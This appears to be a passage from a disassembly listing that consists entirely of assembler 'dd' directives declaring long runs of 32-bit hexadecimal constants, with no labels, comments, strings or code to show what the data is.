dd 77EDA51Dh, 94639B40h, 5747937h, 3EF88778h, 0B860A872h
dd 3008C3Bh, 828E2ABDh, 0F3155Dh, 0DD4E9E17h, 0E7838D19h
dd 0B404565Eh, 0D421B2Ah, 848C795h, 3B70200Bh, 5DD7C580h
dd 550BAC94h, 9017723Ch, 0B6804591h, 84E18220h, 11809494h
dd 9E7EF9F4h, 0DD630055h, 4DA81D9Bh, 1736808h, 0ED009977h
dd 272E476Fh, 1EC62602h, 0A90D355h, 4990FFB3h, 0E900C464h
dd 0A812B117h, 7C9BB46h, 43B71DA6h, 6294117Bh, 0E8DC2CF3h
dd 46018C35h, 0EBF90D60h, 8BE83114h, 9748BE2Dh, 0F0E40075h
dd 26CC94E7h, 531D8D09h, 8764712Eh, 0F1F47196h, 0D0ACF319h
dd 930408FFh, 2F2879ADh, 870DD4D1h, 0A0C0532Fh, 301F1680h
dd 130B17A3h, 19DC6904h, 5A847BE0h, 10C89043h, 472E7C13h
dd 0E009430h, 86EE541Fh, 0B54CEE28h, 0B882C4A9h, 9C62F446h
dd 6A00D050h, 643E0F33h, 9892E026h, 440C5A04h, 9201942Ch
dd 0EC72E688h, 72F1C600h, 0D327227Dh, 0FE2E0F34h, 4220B5D5h
dd 0B23D8687h, 80ACE158h, 0F31CD4CDh, 7E2116D6h, 0E078050Eh
dd 24CCC14h, 80D82784h, 995B9870h, 88D968DCh, 0DCA477FDh
dd 9EA223Fh, 0A90CB013h, 0E4944580h, 45726040h, 80440965h
dd 0D498D726h, 1733012h, 0E92A1908h, 8E0F0886h, 8F9D5680h
dd 99390B8Bh, 8642400h, 60951A7h, 7054536Ch, 613FAFA3h
dd 0CAE68930h, 242C8856h, 2C0A4656h, 95053C67h, 0CECC8E2h
dd 0CBC01E16h, 0C089C844h, 0F2F33FB0h, 3E1DA501h, 1F95C04Ch
dd 0E1024C2Dh, 951DDF1h, 18381C60h, 5278A80h, 0F097B75Bh
dd 0AEE040F9h, 30A6E262h, 7667E400h, 72481B53h, 1738BCEEh
dd 0A7E4A4E8h, 0B0AA2201h, 2D944509h, 0F09EB4E8h, 971FCDAh
dd 913164CDh, 7B41D0DCh, 45003934h, 977395h, 0B8052F5Ch
dd 90429FB4h, 4011A41Dh, 8C3CBE80h, 0C41A7A30h, 61A12C86h
dd 298114F1h, 0D180B5FBh, 8080684Fh, 0F0BA9A42h, 1C4A278h
dd 0D4D3C5BFh, 155F6FCh, 1D9A31E6h, 313244FAh, 0D83E6FAEh
dd 1300F523h, 90BA30CCh, 88D75B7Bh, 0FB4BE458h, 74524022h
dd 38467C24h, 53AED101h, 3FE40BCDh, 1385C009h, 55DFE800h
dd 6AD12651h, 0F0B51368h, 0C5611F34h, 3733120h, 4D70036Bh
dd 0C7C232EBh, 0EC47A069h, 0B797B78Ch, 0CB393D28h, 0C6475A7h
dd 19C6720h, 7BDD0C29h, 816E8349h, 98974A9h, 333A9316h
dd 0E90031F4h, 45759D33h, 2852E14h, 8E37FFE8h, 0F4749488h
dd 78E48AC4h, 602E0043h, 51CDD11Ch, 623CF9F5h, 0AE0200A6h
dd 28563820h, 71C0A23Dh, 60D4F3E4h, 1ECA9272h, 149C6FAh
dd 7793A49Bh, 30C86589h, 81833FD4h, 283E4E0Eh, 0F1001238h
dd 0BC9CE8CAh, 153A02h, 875E7985h, 0B1F7C363h, 8521E025h
dd 8402D634h, 56F92B94h, 926E8024h, 189581BFh, 6620A4B8h
dd 0D31D1D19h, 2D31493Ch, 844044F6h, 92F93282h, 5F8A436Ch
dd 0F3C810CAh, 799A78C0h, 0F15428B8h, 0E9FF4150h, 0B7291004h
dd 0EC8112EDh, 7CA8A39Eh, 0AE4CF802h, 82D8456Ah, 3318094h
dd 77E0DCB1h, 641617F6h, 0B004767Fh, 0D8CE8A05h, 45C03B88h
dd 4A6948h, 0DDEA769Eh, 792E0F8Ah, 98D82Fh, 5FE490D0h
dd 96CB2725h, 647340ABh, 28F06C71h, 1E89A99h, 24E48B8Ch
dd 0E07FCE83h, 9A006682h, 84E61F6Bh, 277BDF8Fh, 0B478D643h
dd 5A8D3325h, 2DD7F428h, 70E719E1h, 0BE603664h, 0DD00C690h
dd 274B582Dh, 4E20A49h, 94EA39F1h, 4564ED78h, 2F2BF8h
dd 0C301F323h, 0C92877F8h, 0A0E62834h, 10CC7928h, 9076084h
dd 40377391h, 489582C4h, 71105419h, 0D7220917h, 78DCA82Dh
dd 394674h, 4F760EECh, 91AE4BD6h, 40521170h, 0AC26E0F8h
dd 30927C06h, 19809821h, 9405CEE0h, 20E0407Ch, 5D00DECDh
dd 30A59391h, 4883A6E8h, 0DDC564F5h, 0F08CC8A3h, 90A6FF5Bh
dd 0E3D64E09h, 0EC670032h, 9A608844h, 970BC3DBh, 2FDC441h
dd 30BB20h, 0CD78837Ah, 0BD24DD09h, 0A0CCF8A3h, 8954CE28h
dd 4EE84890h, 0A4FD3D3Dh, 26BB7070h, 0C46BAC7Fh, 7B271744h
dd 1FDCF07Ch, 9602200Fh, 90353328h, 45ACA4A8h, 2AD8018Ch
dd 28ED72CAh, 0C102E783h, 45DCAF47h, 76385CBDh, 4700F846h
dd 846D875Dh, 260B4E91h, 219FE801h, 0B8E1FF30h, 0FB069C33h
dd 410A9533h, 0B0438713h, 0C84A2CFCh, 0BF013C4Ch, 0E4D9C4E7h
dd 5C18421h, 917C97C6h, 9826810Ah, 0C5D0B2B1h, 808A977Bh
dd 0DAB0220h, 0F4A0B483h, 475EE013h, 7974A8C0h, 0CBDE84D4h
dd 0CC90F649h, 3A00C047h, 0BF3FACAFh, 5215182h, 1F731093h
dd 0FCA8414Bh, 201BDD97h, 0A2414308h, 0DD7442CAh, 1708B40Eh
dd 0BCE48A13h, 0D8131644h, 769D00AFh, 0EECB2DF2h, 3E42FD01h
dd 2BBCD470h, 6202FC70h, 828A82Ah, 946DA042h, 0FC5C84EFh
dd 6CF6F2C0h, 62847B0Eh, 506E9CFh, 11BEB520h, 0CA8A0BFDh
dd 300728EFh, 0F645181Ch, 62E41Eh, 343FEE4Fh, 8C31624Bh
dd 702D2091h, 0ADC0A00Ch, 0DC87BD66h, 0BE00C8A8h, 853A78C2h
dd 62891F0h, 21A97DFDh, 2E30805h, 388EFA37h, 0B1C03F88h
dd 2CECD45Eh, 4602DA5h, 0AFE65077h, 0A8BDFC20h, 0ADAA0003h
dd 0F730815Bh, 3DEA4612h, 9C44C300h, 0C5720BD4h, 0C5F17108h
dd 0C0E69AA1h, 0CD3C4796h, 6CE3BD03h, 80F8A602h, 0BBCAAABh
dd 0D9ACB4Dh, 483D10A7h, 0BEC62687h, 0CA019A5Ah, 54175AAAh
dd 40B4B860h, 0D04A6D3Eh, 0EBC838CBh, 7DCFE6C0h, 55F100B4h
dd 23F374E2h, 0BC9484BDh, 86A4AE80h, 78E72EC3h, 18618232h
dd 0EC0B6AD9h, 7988797Dh, 0DC18E9h, 84A0FDACh, 930666DFh
dd 3E2B7317h, 2AE06880h, 0DC7E813Bh, 8D2D24EDh, 928FA03h
dd 0F4E4B013h, 46765C74h, 0AA2D090Ah, 0C04C05B1h, 941D2891h
dd 0EDD4476Eh, 0A1AD77B0h, 203E1639h, 3260119Ch, 8D7B8B70h
dd 2D28C00Dh, 508141E1h, 41CF4524h, 3B721Dh, 7C2018B7h
dd 4E6EAF2Bh, 1D2081F0h, 19C08074h, 11B38ED5h, 5D6BEB37h
dd 7002FD64h, 2B8B9B6Bh, 0E05B068h, 830164Bh, 0B211E527h
dd 2F7B71FCh, 0D406B682h, 0ED1110C7h, 5948F05Ah, 0B30A4413h
dd 0B52709D4h, 0C58F867h, 0D982B79h, 0A35EAD59h, 44112400h
dd 5ACE0BDFh, 198F02Ah, 97B8488h, 843810Dh, 76671051h
dd 220992EEh, 90D82942h, 0D3DC50h, 48AE120Eh, 0FD272458h
dd 1E6EC702h, 540477DDh, 0C02884C4h, 19E941CFh, 742078EBh
dd 1F1A4098h, 0FD9BDD19h, 0D807CF30h, 49938F8Eh, 0A8CC6835h
dd 102086F5h, 8D250919h, 5C52AF9Bh, 0F04D2B10h, 8ED2468Fh
dd 0C08DC81Ch, 4D0788CBh, 234ED004h, 0CCF8B7E5h, 28133801h
dd 3890A5FFh, 8C45E890h, 0E2098601h, 0F99932E0h, 0A888D43Ch
dd 19A4D780h, 0E2935D09h, 4480BFB1h, 0CE02E296h, 208CD45Fh
dd 0DA950032h, 83C866FFh, 10B06FDDh, 7500138h, 15AE403Eh
dd 0F36B9201h, 20582838h, 4F74887Ah, 0B8E9362Eh, 0CCCC2B0Ah
dd 5BBB9D82h, 88560BFFh
dd 0F1F40969h, 0B7A9D98h, 0E48997BFh, 56453C76h, 91B88CE8h
dd 0D74A258Ch, 0AEA16C68h, 0F2B34200h, 0E13E9D12h, 0E6510F93h
dd 806B080Eh, 558CE01h, 0A02E6B07h, 1BB3423h, 1D79A15Dh
dd 427FE766h, 715AC6E8h, 83096140h, 0D88ADB00h, 0B0823B5Dh
dd 5CC27205h, 1710F86Dh, 0D8060459h, 5CDEEC68h, 741F23C2h
dd 78165464h, 38B0ACB8h, 5FFCAC91h, 7A2C221Dh, 5BFB6410h
dd 0D19830DAh, 33132F65h, 80434C1h, 0DCBC1AC8h, 48C2EECh
dd 0EFBD4EDEh, 350482F6h, 3E47B0D4h, 8F33CBE7h, 4D59C07Eh
dd 1B4F202h, 8C159B50h, 30F42317h, 449C10C8h, 0F9298000h
dd 55820E98h, 6E7FB899h, 5A760174h, 3A4ADFD5h, 0B880830h
dd 27C54EC6h, 3A556042h, 111097C0h, 0AED5803Bh, 2315C97h
dd 698875B0h, 0F4729AB9h, 6CD4674Ah, 0E06BBEh, 57252BC2h
dd 126746A9h, 0A2880F0Bh, 0F1862514h, 3B542C00h, 8108EE82h
dd 7C611795h, 9A06D2AFh, 0C8FE4890h, 1318492Ah, 490B48Fh
dd 8F41E650h, 2E39C4Ch, 0B2FBA8D4h, 0CAA077C3h, 832F295Eh
dd 0A2D84063h, 0CACFE0B8h, 32BC2B60h, 1EC27981h, 612970C1h
dd 49ECE4B4h, 0D041E75Eh, 1887D34Fh, 3E29B883h, 38A0314Eh
dd 7F00F64Ch, 0E02C4264h, 98FD142Fh, 30A72058h, 0E5287812h
dd 0C177E8C0h, 0C8C017B1h, 0C480BD27h, 9129F08h, 1CE4FF80h
dd 78B19526h, 7F6B9140h, 1458C231h, 94A5E2E0h, 0B020EF0Dh
dd 402129FFh, 10D0EF13h, 0BC7B2970h, 0B05E3291h, 4355AA68h
dd 0ACF479B8h, 0C0120399h, 0BFC39C86h, 90648884h, 0DC918896h
dd 0C88C8B5Bh, 3558C243h, 832F9472h, 0C478675Dh, 13E3608Eh
dd 273A0BE6h, 0D4D0040Bh, 1C64B14Eh, 0C46AABh, 0FBD1DB15h
dd 4842CF1h, 95D2719Eh, 0EF00F41Fh, 0BB510560h, 0F6CF259h
dd 0F0D43E68h, 0E020493Bh, 849D71A8h, 4756F096h, 7491078Eh
dd 97614E96h, 619D6EF0h, 8CB0C935h, 0FADF4420h, 75276210h
dd 6E3CED58h, 628164C2h, 135A7878h, 0B954490h, 0D91E81A1h
dd 0F06B3B07h, 96B6FD02h, 0E8F6E9F8h, 0B2BC2B40h, 540800B3h
dd 9BAD55E0h, 0A800E314h, 0BFC74A82h, 0E4CF58h, 6AE8E197h
dd 0C6D7FCE7h, 0B0578C0h, 2C0DC099h, 609877B6h, 0DC434B6Fh
dd 2E19A500h, 49D53FF2h, 0EC8EED9h, 0C0AF3A82h, 7700E032h
dd 3C4ED0A6h, 8C88BCCFh, 24238AC0h, 0C09F4EDDh, 74786458h
dd 0B8C4715Dh, 933D0415h, 0F0D89BF1h, 0BD9F64ACh, 318C8120h
dd 0C4752DFDh, 896CD79h, 0F13FE140h, 0E7A61876h, 7579D1BCh
dd 5F839213h, 0B1D89CA0h, 0F2CC00B0h, 0EC32C439h, 86887A00h
dd 0B6EA3E0Ch, 818201CBh, 58F1461h, 0D4CB2F7Dh, 6BC046C8h
dd 4F8C0FFh, 0EF73916Ah, 1CB4A437h, 7B181F42h, 0F02C199h
dd 0A4F2844Ah, 164FD481h, 6ADE8CFh, 0A1D3AC00h, 702C7C9Fh
dd 2297403h, 0C079F044h, 0FD23020Ch, 3041E613h, 5D990B85h
dd 0F3009E09h, 6BD432D5h, 59890D57h, 610328ECh, 6E763E7Ah
dd 602FAEC4h, 0FC01F423h, 0E732ECD5h, 80E08A40h, 50EEB7F5h
dd 0E927BC00h, 5805C778h, 0D176013Bh, 0AF51BDE1h, 0C4C02B35h
dd 5CEC2231h, 0CF12D03Fh, 0A8049236h, 0D10B8D8h, 3C4CF77Dh
dd 9E14884Bh, 0A4DFA824h, 63C10B3Ah, 55A8068Dh, 0A6DD2740h
dd 4E9884A0h, 6202A8F8h, 0BFE56017h, 22ACDCAEh, 0CD8107A0h
dd 0B12DCFD4h, 3B11380Bh, 0B4CBF844h, 7FC44513h, 366888E6h
dd 0ACC44600h, 1F85FE4Ch, 0C0284B0Bh, 181F454h, 414B0C7Eh
dd 44D6C856h, 692922C0h, 0F55E7494h, 3CF6EB18h, 0BFB86300h
dd 0BD26E061h, 0D5885F5Bh, 0E36B1784h, 3039B284h, 0A09421AEh
dd 41269661h, 3970DC7Bh, 7E77000h, 587929B0h, 7F4C029Dh
dd 2DF588BEh, 2EB39060h, 0FA5031FFh, 0DA348204h, 6B41DD90h
dd 0F5950872h, 118C23Eh, 0A1853119h, 0AC67941Dh, 9C2D1814h
dd 5ABD27F9h, 9C88CC3h, 9C958580h, 4430288Ch, 560E29FBh
dd 0CA5A61A5h, 8C1A83Ah, 0A2E832E2h, 15F5BE4h, 200BCF3Ch
dd 0DCD22B18h, 0D7D623CBh, 5FAC5DCDh, 56410586h, 0C5F4F07Fh
dd 0E0816804h, 0CCC2158h, 3C828AB9h, 0D409B577h, 97F161A0h
dd 3DA60DDh, 9399123Ah, 74ACB592h, 0A7BEBB06h, 4028E048h
dd 17734811h, 0B4905F82h, 3200E979h, 0D8CD0FCCh, 0EA50BE0Ah
dd 40D74F6Ah, 0F3C61344h, 12006EB4h, 74E58101h, 4F7D41Fh
dd 0FCEC2E77h, 0B60E378h, 0F6AC9308h, 0C0976088h, 0CB0722D5h
dd 0E6D051Fh, 5D24D1F2h, 0C4F32892h, 747FE670h, 0D030F729h
dd 0A81744D4h, 0B774C2Dh, 0C000D688h, 2C76EB6Bh, 24BFDC98h
dd 24472D0Ch, 7AE38ECBh, 69484FF0h, 14401400h, 0DC1CA4E8h
dd 7A01BC40h, 801268B8h, 0E505838Bh, 570443CAh, 0B189BC9Bh
dd 0D00260FCh, 608861AAh, 2D477534h, 0BC48DC3Eh, 2E28356h
dd 98256600h, 0ED6C37A8h, 0E0A7009Eh, 59CC1113h, 0AC254928h
dd 60D0ED71h, 2F939085h, 5518009Dh, 1E8B8CFAh, 309EEF6h
dd 581CB014h, 8AE6F000h, 19A41EA1h, 174D00D5h, 516A3CBEh
dd 327EC53h, 3E60D380h, 0F0087DAh, 0C7291230h, 0A72A80A2h
dd 0E4C555C8h, 0D3939420h, 6AE4F18Ah, 70370C09h, 1C49E7D0h
dd 0B9FC523Fh, 70CF0154h, 0A98B99A4h, 0FF01F038h, 2B790E19h
dd 2D5C384Eh, 425892B1h, 632440F8h, 9E38A6A3h, 281482CCh
dd 29F74148h, 10885E90h, 531805F0h, 14B326B5h, 757C7B28h
dd 3D220E25h, 0EC133128h, 0F691C9E8h, 0D07A40C4h, 0ACAA26B4h
dd 90928854h, 0CEF1D405h, 10A3202Ch, 808A857h, 3EFD24D8h
dd 421B9B16h, 0D9DDB2B8h, 701B8855h, 8B9B3261h, 849C6809h
dd 0C1283E90h, 376C7924h, 0A7182303h, 0C021FD07h, 48E2EFEDh
dd 3AD7B0h, 7CB2A3C0h, 5A29A457h, 2A3A257Fh, 33007049h
dd 35489179h, 92FA4Eh, 0D84FFC4Bh, 5762FED9h, 9D06C5F6h
dd 0E4B1D7A3h, 3A870021h, 4727CE11h, 4D00D64Eh, 0EC52DE93h
dd 5B51C092h, 0F1D090D5h, 7E00EE01h, 9D02814Dh, 0E949D6A5h
dd 0BD36CCh, 6B8E1365h, 628F9274h, 377EF61Ch, 0CE00DF5Fh
dd 273AD55Ah, 0D9260BECh, 182033E7h, 22A42564h, 0D3F3A07Ch
dd 4EA9A1D8h, 54AB7601h, 0E36BFD86h, 0D0D8A0C2h, 979532CEh
dd 8A880820h, 0C07A0A6Bh, 0CD66FAFEh, 0B4101918h, 0F4904010h
dd 0CA092FBAh, 280781FDh, 56388CF4h, 14649F28h, 0E0281894h
dd 5A9F44F1h, 24348CC8h, 8E1C467Bh, 0FEC20A6Fh, 0C4830E6Ch
dd 3B760E78h, 2EAAF056h, 0DD91D040h, 80820E2Eh, 20454D40h
dd 3FD0179h, 0D6BE0590h, 0EF918C19h, 9E97415Eh, 733CA318h
dd 50FE1FD1h, 29C132A4h, 331FECB1h, 3429129Dh, 0C00BD179h
dd 46ED7985h, 20D20725h, 1806F103h, 7D3F4700h, 0AFA880Fh
dd 27E69368h, 0BC563A48h, 32D8C7C8h, 91AC619Ah, 2A21040Ch
dd 3A74E487h, 39185B4Fh, 68977EFDh, 0C4865D54h, 44D1E8A9h
dd 82010292h, 7C0F22ECh, 0DC81854Ch, 9A79B1C0h, 0F1DE0132h
dd 9E77DC9h, 7091A8A3h, 3237112Eh, 0AC08CF17h, 0BF998147h
dd 58F027FEh, 0BCA48920h, 81BD731h, 9C244605h, 8808C124h
dd 0F006D9FCh, 1C9A30D4h, 0A474EF0Bh, 57205E9Fh, 60802142h
dd 0C4035E94h, 0C18BDC08h, 8CE24384h, 845B910h, 18B462FBh
dd 930206FDh, 328F083Fh, 24220108h, 18C402D7h, 2348C02h
dd 0EC0EE729h, 40B048B1h, 0AB6219DAh, 2794210h, 6F03924Ah
dd 6E0818AFh, 833180Bh, 906208C6h, 84BE2018h, 81EA6F33h
dd 0BA18319Eh, 1C8C589h
dd 0C604E540h, 9132080Dh, 23B41B2h, 7103096Eh, 0A7081881h
dd 334920A1h, 80D3F380h, 18C4BAF5h, 0B063509h, 0C0541097h
dd 9C6695A0h, 34A90E10h, 0C6083687h, 9D200810h, 0F1E762FCh
dd 0E1031D9Bh, 932132C9h, 9203F919h, 6A1010C2h, 89A410DEh
dd 37028E10h, 94E66964h, 0AC0A5418h, 0B7B4A85Ah, 0D199CC3Eh
dd 1140E808h, 0A439C6E3h, 5154082Dh, 7D404A94h, 489F63FAh
dd 8198C55h, 22180E06h, 0A0D4A19Fh, 37943F54h, 62ED1040h
dd 0F67610A9h, 65431E03h, 44929909h, 4CC0184h, 2648A0DBh
dd 6320D51Ch, 0AABD997Dh, 445E2010h, 3E771310h, 7A18E32Ch
dd 0A10815ADh, 7967C8FDh, 11E1FD35h, 3E8EFA0h, 613110BFh
dd 29303104h, 8880C0Dh, 991841CCh, 808F8861h, 0C7814543h
dd 1B016988h, 1088B015h, 0A72AEF59h, 90FC54C4h, 0EBF8A91Dh
dd 40EF3024h, 0E154B879h, 30CD86C8h, 0F7F179FEh, 0D8EA0895h
dd 6903BE19h, 0DF401A7h, 1FEC8903h, 0D5247690h, 534883Ch
dd 10BBB40Ch, 0CBDB40FAh, 144051C4h, 4C31FC05h, 0AC0817CCh
dd 0E70CB9C4h, 9331404h, 0AD04A259h, 446705C6h, 0A3CBDD8h
dd 0D188CCA9h, 0DC8E0C0Ah, 1FF5808h, 0C701E228h, 0B3CF0120h
dd 71EB4098h, 8C4B054h, 5604C0A5h, 0F3AB06A3h, 7E323230h
dd 0F8480508h, 0DF80264Eh, 8EA480FEh, 0D4516A81h, 8928A4Ah
dd 0BE584933h, 88C94C23h, 54C46944h, 2064A84Dh, 0E5482038h
dd 968028E6h, 8A20CCC1h, 92FD11h, 370CA149h, 8675946h
dd 0A4C8EFA4h, 927F352Dh, 0C54CC3A8h, 4B3EEAC0h, 456110C0h
dd 7E1A1898h, 57243AD9h, 80CA2792h, 0CF148770h, 1B2C03Eh
dd 0A4E5F947h, 5B6079D5h, 2C83E822h, 6BB8DE1Ah, 9503980Fh
dd 6BC84ECCh, 817AAB9Ah, 0F28FA900h, 296DBA0h, 0A2F014h
dd 9C51F426h, 2BF7131Ah, 75009B76h, 9D0A05F0h, 0F97CF1Eh
dd 0A01A92F4h, 0D15A5945h, 0A66EB264h, 0A9009F20h, 1A10295h
dd 0C046F4F1h, 42239788h, 7F002876h, 0C34D62E4h, 1E79919h
dd 0F1203A8Dh, 825334D7h, 49EBE3B0h, 0D5074003h, 26BA00D4h
dd 0D08A7FB6h, 553EF928h, 0F7380099h, 97FF1710h, 0A00A0B92h
dd 805CD41Ch, 0BB39E785h, 0E6C0981Fh, 41B13780h, 5C83F834h
dd 0BE6C0C3Eh, 5F401610h, 4317879h, 987C773Fh, 0B449BF8Fh
dd 1C90557Fh, 0A078FA95h, 0E481142Ah, 9C4CE100h, 0A8462A06h
dd 3C2606EFh, 20318084h, 0FDDC9700h, 0FF328534h, 0C49828E8h
dd 0EB7F0308h, 10F11568h, 47BB3391h, 0ED65C1A0h, 0CF6440E2h
dd 0F025F6E5h, 375C6060h, 0EC1B2847h, 90870710h, 9DA9B49h
dd 3334A860h, 0B40D47E8h, 8C52795h, 0F07AAEF4h, 0FBE600D7h
dd 843E97A6h, 0CD7A3451h, 0E0501030h, 10DE0EDh, 0D538CB8Bh
dd 0F0E91CC7h, 2E0A0C47h, 0A8F69AE7h, 3C01F72Ch, 6A40D722h
dd 0DB1D388Ah, 45350948h, 9D019CDAh, 0A1512E21h, 0F7C122A3h
dd 26DD4761h, 527F5420h, 1D3AACE9h, 0C066A0BEh, 400A1881h
dd 8442550h, 0CB71E706h, 3055A80h, 8997D880h, 0C254000h
dd 0C1392722h, 2C1DE0ECh, 3DCBED7h, 0D86EE730h, 0DD813805h
dd 20443E13h, 0FA030F6Ch, 0EAA08A2Bh, 915AE748h, 4382F41Dh
dd 87A87A21h, 0EC00C2B0h, 0FD6CE1h, 0CF272BBBh, 0B9B796F7h
dd 61648418h, 0FB8DDC8h, 0E766974Ah, 4F481A8Ch, 747A831Bh
dd 80799B20h, 5088703Eh, 0CF87E8A7h, 8988460h, 4614324Ah
dd 84A8DA1Bh, 2B223E4Fh, 49798882h, 0D14A5C40h, 81FFD8C0h
dd 0C1415AF0h, 0A33CCC50h, 517C87D7h, 0F5C026EBh, 9061C197h
dd 8C8805ABh, 0C1FEAA2Fh, 82719289h, 0EEE78298h, 0A06056A0h
dd 917F29C4h, 0BF1424D0h, 78303CC8h, 89D73E80h, 0E0207165h
dd 0DF171407h, 608D8C3h, 12F0EF10h, 0F9CE98C2h, 0AC20F299h
dd 801447D7h, 4A1D3151h, 0D60012CBh, 0B39C45FBh, 0FC842D75h
dd 0C11C6C00h, 0B0B692D7h, 2908803Ah, 13F12DF7h, 9860C009h
dd 205A2EA2h, 0F07A9F09h, 4C6C70ADh, 0E053B438h, 4C481448h
dd 38BE607Dh, 0C3363D4Fh, 84C46606h, 1428E8FEh, 8081E0C7h
dd 0CCF9E70Ah, 1D6309B4h, 3D83081h, 0E1508054h, 47ABBCEBh
dd 46B30031h, 0FF2BEF43h, 0FF6F09Ah, 0C43660C3h, 0AC01E0DCh
dd 3D190186h, 68F0F2FAh, 0D4208108h, 766984E2h, 964E7887h
dd 66A5F0CAh, 7F009B93h, 0B35873BBh, 133A8EDh, 0FD3A632Dh
dd 2CECE79Dh, 4DC85170h, 0DCFAF09Ch, 987FB0C0h, 3EA63603h
dd 6218555Eh, 0D5443140h, 9F24D7F8h, 0EA80E09Bh, 6F76680Fh
dd 0D0D6544Fh, 0DA1C0305h, 6247AAF3h, 33281877h, 0BE20CC8Dh
dd 0C1270E3Ah, 3EE0A979h, 81F07D77h, 7DF8634Ch, 223084F4h
dd 0E74A2836h, 8062603Eh, 0B5260E2Ah, 0C0A093FEh, 0F073BFF2h
dd 0CDB48197h, 62F649B0h, 80E84C14h, 80581430h, 189BAECDh
dd 84077913h, 2A890FF1h, 910238ACh, 39EFBAEh, 8851EC04h
dd 978880D7h, 0ED4F817Ah, 0DBB81FAFh, 9EA24983h, 4EAE7823h
dd 247945C9h, 9980121Ch, 415E00C1h, 867F1A61h, 96092666h
dd 77E1F15Dh, 0C848540Bh, 0D428A6EEh, 79080856h, 4E5CE357h
dd 5F8559C1h, 29311027h, 0D9720088h, 227C44ACh, 0E52685FCh
dd 238F9099h, 9ADA227Dh, 7AC8C0B4h, 1F84A164h, 902B1C30h
dd 8EB8816Ch, 0E14F7C00h, 25175700h, 3FADB5Ch, 59863A80h
dd 495ED101h, 20D7E1E7h, 7716AF14h, 305F7BF0h, 1096F20Bh
dd 432A7Ch, 4F513998h, 0BB617637h, 0C8995D1Eh, 0D53DEF00h
dd 2A8414CEh, 819C10A8h, 703DE394h, 79E0170Bh, 404FB402h
dd 0EC746464h, 9A0533Ch, 0A1D2E780h, 22CCD7B8h, 7CF83C20h
dd 55373086h, 8FA74C18h, 4D503802h, 0A06C0CF1h, 0F0F4D5F0h
dd 0E40B4931h, 0CFE3D71Dh, 0C70AF8EAh, 190820A8h, 913E7585h
dd 0F09970BBh, 49B6A130h, 4DDC84E1h, 0FC4D085h, 298848BCh
dd 0A0EA084Ch, 0B2496CC8h, 0BAC284h, 2264250Ch, 149F5042h
dd 0BDE03DF3h, 0F1CF0C02h, 885DB1Ch, 0C989A2Ch, 419C61D7h
dd 8B84B6F2h, 0C8FA4866h, 3F0E70B0h, 81447127h, 37D3248Ah
dd 0F082F044h, 50646808h, 8F6F16F4h, 70403092h, 6C097604h
dd 485C2D12h, 0BA88851Ch, 34745DF0h, 0B99B7009h, 0BCBA1423h
dd 0D64E5000h, 0F895F011h, 90C00B98h, 0F480F607h, 0EB7A418Fh
dd 0B418D209h, 89C00046h, 0AF00BE5h, 92757758h, 25840FA8h
dd 1068689Ah, 0A36AC185h, 0A00B1010h, 434C20A6h, 1EFB64D0h
dd 35849Dh, 543A90E1h, 3102E00Ah, 0EB2D0B85h, 1A8639Ch
dd 34DB97B9h, 0D82B1FF3h, 27007C85h, 36CEA8DCh, 0E6153FD1h
dd 0A36B30FDh, 0CD147520h, 73FB6212h, 0F8809095h, 9664CD4h
dd 0C63152BDh, 0FC3A1442h, 0F104C8C5h, 68CC7D8Dh, 3081617Fh
dd 83C096EFh, 3EF81F18h, 4C602E2Bh, 6CED0F60h, 86F510F8h
dd 0A3433300h, 0EF9FDE7Ah, 11D4FB47h, 0C4FC266Ah, 0B8800A38h
dd 0D04EBC30h, 26E3CF20h, 4A1FD0B8h, 3A14F623h, 0D61F0454h
dd 0C8807E02h, 91D4542Ah, 40C393D4h, 8A7735E4h, 8094C598h
dd 0A09DEA45h, 517D4851h, 714B4470h, 0DF28C718h, 461D40C4h
dd 23008B85h, 53610139h, 26D39967h, 0DFAA4Ch, 3E16907Fh
dd 0F12635F0h, 8592E8E0h, 317C4400h, 0B0F7234Dh, 0EF5C89CCh
dd 0F40A6102h, 21BC3515h, 58117DAh, 0A0A1EF94h, 9E3366B4h
dd 2779847h, 5DA87F0h, 0EF012BD7h, 788B4FD1h, 243141CFh
dd 0F31CE027h, 0E469D700h, 84B4CD4Bh, 6897F173h, 3C500030h
dd 2C17F5Ch, 66D2F118h
dd 0E85D9E48h, 4C6406D9h, 681D5483h, 39CF7B12h, 47D0F000h
dd 0E64F6041h, 688102E5h, 791B25A3h, 8A863061h, 68D61CA0h
dd 3C9ADCA0h, 4CB29598h, 38E77F0Bh, 74FCA2B7h, 13CCC282h
dd 2244B094h, 343912AFh, 93440F11h, 0E024A006h, 0D0DFD72Dh
dd 4821F07Ch, 9800382Eh, 0C346F8Fh, 0E748FFF6h, 805D2FB8h
dd 728354A4h, 9E78C070h, 9A847DD0h, 28444950h, 50B01550h
dd 0E8BB32B0h, 0BCE74701h, 0B42D17E1h, 96815454h, 834A50B0h
dd 5046F520h, 0C226CD80h, 81F84EC8h, 12BC8051h, 94C1FDF0h
dd 58201537h, 49A01579h, 91109497h, 2C29268Dh, 84004C12h
dd 71C79A11h, 0EF9098AFh, 4021B846h, 0D630D726h, 0DCF960BFh
dd 0BA3E02F4h, 84F22740h, 63056141h, 3A30006Ch, 6AF109DAh
dd 4088C5A4h, 0C0B5C277h, 11AC688Ah, 902F0613h, 18D0294Ch
dd 18369DD7h, 31EEFDDh, 0DB49B3ACh, 0A31C0FADh, 0A8986FFFh
dd 0B8096075h, 34394D19h, 9C10EFCBh, 54B07D81h, 0F0BF088h
dd 0BC109960h, 0C29592E7h, 0FD9B4730h, 0BCE6304Ah, 1819E8A1h
dd 33A62984h, 68390808h, 7C01F297h, 0BCC1F76h, 4D848064h
dd 4901D0AEh, 0E1614066h, 0DB1BD84Dh, 68A00E5Eh, 85C9C87h
dd 83C77BDh, 40DCF8E4h, 42466003h, 0ACD7443Fh, 24A8940Ch
dd 70014C06h, 90399807h, 0AF912B94h, 8F1701ACh, 31F11D4Ch
dd 0E7C8200Ch, 18264E12h, 70933872h, 890120D8h, 414E8000h
dd 0C3D99772h, 8EE63732h, 0AAE78130h, 0C0802C9Dh, 3E80F84Fh
dd 8054BE5Ch, 0E0E798FAh, 330568AAh, 90F0DDFFh, 3200DCB8h
dd 96E2ED62h, 1000B1AEh, 12F6F14Fh, 5C67FB34h, 591EC853h
dd 84B5C37Eh, 90005BB7h, 101A8848h, 0B7AF66DEh, 87A5005h
dd 822581FCh, 0E14AF58Ch, 30731C54h, 9418113h, 0C890EA10h
dd 9A609FD7h, 0B628D1A8h, 0A648E85Ch, 0F6E8A0ACh, 608081FBh
dd 5501300Ch, 1C9B4928h, 9834E0E8h, 24043D54h, 8A105E92h
